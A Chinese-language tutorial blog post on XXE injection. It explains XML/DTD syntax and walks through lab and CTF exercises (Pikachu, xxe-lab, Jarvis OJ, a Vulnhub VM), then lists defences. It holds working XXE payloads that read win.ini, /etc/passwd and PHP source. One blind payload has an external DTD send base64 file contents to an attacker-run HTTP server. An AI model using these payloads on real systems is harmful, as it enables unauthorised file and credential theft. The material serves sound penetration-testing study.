WEB漏洞-XXE&XML之利用检测绕过

XXE

"xml external entity injection"

-XML外部实体注入漏洞

服务端接收和解析了来自用户端的xml数据,而又没有做严格的安全控制,从而导致xml外部实体注入

xml基本语法

XML 被设计用来结构化、存储以及传输信息; 恰恰相反, HTML 是被设计用来显示数据,其焦点是数据的外观。

XML 没有预定义的标签。它仅仅是纯文本而已。有能力处理纯文本的软件都可以处理 XML。XML 不会做任何事情。

总的来说, XML 是独立于软件和硬件的信息传输工具。

第一部分:XML声明部分

<?xml version="1.0" encoding="ISO-8859-1"?>

第二部分:文档类型定义 DTD

<!--定义此文档是note类型的文档-->

<!DOCTYPE note[

<!--定义 note 元素有四个元素-->

<!ELEMENT note (to,from,heading,body)>

<!--定义 to 元素为 "#PCDATA" 类型-->

<!ELEMENT to (#PCDATA)>

<!ELEMENT from (#PCDATA)>

<!ELEMENT heading (#PCDATA)>

<!ELEMENT body (#PCDATA)>

<!--外部实体声明-->

<!-- 形如: <!DOCTYPE 根元素 SYSTEM "文件名"> -->

<!ENTITY entity-name SYSTEM "URI/URL">

]>

第三部分:文档元素

<note>

<to>Dave</to>

<from>Tom</from>

<head>Reminder</head>

<body>Don't forget the meeting!</body>

</note>

DTD(Document Type Definition,文档类型定义),用来为 XML 文档定义语法约束,可以是内部申明也可以使引用外部DTD现在很多语言里面对应的解析xml的函数默认是禁止解析外部实体内容的,从而也就直接避免了这个漏洞。

① 内部申明格式

<!DOCTYPE 根元素 [元素申明]>

DTD例子: <!ENTITY writer "Bill Gates">

XML例子: <author>&writer;</author>

注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。

② 外部引用DTD格式

<!DOCTYPE 根元素 SYSTEM "外部DTD的URI">

DTD例子: <!ENTITY writer SYSTEM "http://www.***.com/dtd/entities.dtd">

XML例子: <author>&writer;</author>

③ 引用公共DTD格式

<!DOCTYPE 根元素 PUBLIC "DTD标识名" "公共DTD的URI">

XXE漏洞

PHP中有一个函数 simplexml_load_string() 将形式良好的 xml 字符串转换为 SimpleXMLElement 对象

在PHP里面解析xml用的是libxml,其在 ≥2.9.0 的版本中,默认是禁止解析xml外部实体内容的

Pikachu靶场-xxe

<?xml version="1.0" encoding="UTF-8" ?>

<!DOCTYPE note[

<!ENTITY hack"test">

]>

<name>&hack;</name>

提交发现解析成功,正常回显,但是只能判断是否有回显,不能判断是否支持外部实体

有回显---1.查看系统文件内容

c:/windows/win.ini是每个windows系统都有的文件,如果确定服务器是windows系统,就可以用该文件来确定是否有xxe漏洞

输入payload:

<?xml version="1.0" encoding="utf-8" ?>

<!DOCTYPE foo [

<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >

]>

<foo>&xxe;</foo>

查看其他系统敏感文件,只要以该文件路径替换掉c:/windows/win.ini就可以了

这里注意file://协议只能用绝对路径,用不了相对路径

在自己Z盘上添加一个1.txt 然后payload 回显出txt中的信息。

<?xml version = "1.0"?>

<!DOCTYPE ANY [

<!ENTITY xxe SYSTEM "file:///z://1.txt">

]>

<x>&xxe;</x>

2.查看PHP源代码

查看php源代码一般用php伪协议php://filter

构造payload:

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=Z:/phpstudy/PHPTutorial/WWW/pikachu-master/vul/rce/rce.php" >

]>

<foo>&xxe;</foo>

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY rabbit SYSTEM "http://192.168.5.250:8080/index.txt" >

]>

<x>&rabbit;</x>

3.引入外部实体DTD

创建evil2.dtd文件填写<!ENTITY send SYSTEM "file:///d:/test.txt">

<?xml version="1.0" ?>

<!DOCTYPE test [

<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">

%file;

]>

<x>&send;</x>

evil2.dtd:

<!ENTITY send SYSTEM "file:///d:/test.txt">

可到到绕过或者自定义攻击

无回显---1.

xxe的配置文件的echo注释掉 进行测试

<?xml version="1.0" encoding="UTF-8" ?>

<!DOCTYPE note[

<!ENTITY hack"test">

]>

<name>&hack;</name>

无回显-读取文件

开台kali 先开启http服务

python3 -m http.server --bind 0.0.0.0 1333

监听中….

创建evil.dtd文件 编写

!ENTITY % payload

"<!ENTITY &#37; send SYSTEM 'http://192.168.5.231:1333/?data=%file;'>"

>

%payload;

注意:当内置参数实体中嵌套外部参数实体时,要将%进行实

体化(&#37;或者&#x25;

payload:

<?xml version="1.0"?>

<!DOCTYPE test [

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///z:/1.txt">

<!ENTITY % dtd SYSTEM "http://192.168.5.231:1333/evil.dtd">

%dtd;

%send;

]>

Base64编码:emhhbmd4aW4gaXMgIGRhc2h1YWlnZe

检测方面:白盒:函数及可控变量查找,传输和存储数据格式类型

黑盒:人工:1.数据格式类型判断 <user>test</user> <a>miss</a>

2.Content-type值判断:text/xml application/xml

3.盲猜:可以更改content-type类型看返回 更改成text/xml或者 application/xml 再加入攻击语测试其有没有xml漏洞

工具:带fuzz字典去跑批量测试

实例:xxe-lab-master靶场登录框xml数据传输测试-测试发现

Bp抓包查找关键字:xml来过滤history

可以看到MINE-type 有XML类型的 查看数据信息

观察到该写法就是典型的xml传输数据格式 符合测试xxe漏洞的存在 然后进行payload攻击

数据包发送给Repeater

payload:

<?xml version="1.0"?>

<!DOCTYPE ANY [

<!ENTITY xxe SYSTEM "file:///z:/1.txt">

]>

<user><username>&xxe;</username><password>111</password></user>

CTF-jarvis-OJ-Web-XXE 真题复现

官网:

http://web.jarvisoj.com:9882/

抓包发现content-type为JSON 格式

盲猜一下 更改下content-type为 application/xml 然后payload 测试该网站是否存在xxe漏洞

payload:

<?xml version = "1.0"?>

<!DOCTYPE ANY [

<!ENTITY f SYSTEM "file:///etc/passwd">

]>

<x>&f;</x>

发送到Repeater 发现系统路径信息

Vulnhub靶场-XXE-ctf 偏真实环境练习

先进入官网下载对应镜像

https://download.vulnhub.com/xxe/XXE.zip

虚拟机安装靶场网卡设置为NAT模式

大致找flag流程:

扫描 IP 及端口->扫描探针目录->抓包探针 xxe 安全->利用 xxe 读取源码->flag 指向文件->base32 64 解

密->php 运行->flag

扫描 IP 及端口:nmap -sS ip地址/24

访问192.168.88.137 发现没有可以利用的东西

可以利用DirBuster扫描路径 也可以用python语言开发的dirsearch扫描一下目录,发现robots.txt

Python dirsearch.py -u http://192.168.88.137/

访问robots.txt,发现/xxe目录和/admin.php

测试一波登录窗口,抓包。判断可能存在XXE漏洞

使用php协议去尝试读取前面的admin.php文件,使用base64解密

BASE64解码得出

查看解密后的数据发现有账号密码:administhebest/admin@123,以及flagmeout.php

使用php协议读取 flagmeout.php,在进行base64解密,得出base32加密的flag

使用php协议读取该协议,然后base64解密,得到一串类似php的执行代码

出现$符号 类似一串PHP的执行代码 代入PHP代码在线测试里去

php代码在线测试,php在线执行

带入php执行,得出flag 为 xxe_is_so_easy

xxe漏洞修复与防御方案-php,java,python-过滤及禁用

1.禁用外部实体

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory

dbf

=DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python:

from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2.过滤用户提交的XML数据

过滤关键词:<!DOCTYPE 和<!ENTITY,或者 SYSTEM 和 PUBLIC

3.升级版本, libxml2.9.1及以后,默认不解析外部实体。

漏洞靶场总结:1.为什么要用到php伪协议,我们可以进行一个对比,例如

file:///d://test.txt这个file后面为完整路径 但是php协议php://filter/read=convert.base64-encode/resource=test.txt">

可以不用写全路径,可以在它当前路径下查找该test文件

2.对于Vulnhub靶场中的练习都是偏真实环境的学习,而且里面的靶场可能在网上找不到教程,对自己在渗透学习方面有很大的提升,对于vulnhub中的XXE漏洞,对于Base64,32来回编解码,让人头疼,像俄罗斯套娃一样

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值